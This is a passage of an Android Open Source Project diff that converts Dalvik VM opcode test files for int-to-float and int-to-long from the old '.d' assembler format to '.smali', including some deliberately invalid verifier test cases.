+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_1.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d
deleted file mode 100644
index c2fdf91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_2.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-float v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali
new file mode 100644
index 0000000..c767da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_2.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-float v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d
deleted file mode 100644
index 4f16417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_3.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-float v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali
new file mode 100644
index 0000000..3ab33bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_3.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 1234
+       int-to-float v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d
deleted file mode 100644
index e31d685d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_4.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali
new file mode 100644
index 0000000..c166713
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_4.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d
deleted file mode 100644
index c5bd602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_5.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       int-to-float v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali
new file mode 100644
index 0000000..74a2688
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_5.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d
deleted file mode 100644
index 37db947..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_6.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali
new file mode 100644
index 0000000..9a96392
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_6.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d
deleted file mode 100644
index 4f91de2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_1.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali
new file mode 100644
index 0000000..c8de8a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_1.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d
deleted file mode 100644
index eab475b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_2.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       const-wide v4, 3.1415    
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali
new file mode 100644
index 0000000..04fee80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_2.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 3.1415    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d
deleted file mode 100644
index 05527d4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_3.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       const-wide v4, 123455    
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali
new file mode 100644
index 0000000..81bebb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_3.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d
deleted file mode 100644
index 9f26670..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_4.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 1
-
-       const v0, 1234
-       int-to-long v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali
new file mode 100644
index 0000000..deddd82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_4.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 1
+
+       const v0, 1234
+       int-to-long v0, v0
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d
deleted file mode 100644
index f006048..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_5.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali
new file mode 100644
index 0000000..130ab63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_5.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d
deleted file mode 100644
index f71a28d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_6.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       int-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali
new file mode 100644
index 0000000..8d34b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_6.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d
deleted file mode 100644
index c2db686..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_7.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali
new file mode 100644
index 0000000..3edbd53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_7.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_7;
+.super  Ljava/lang/Object;
+
+
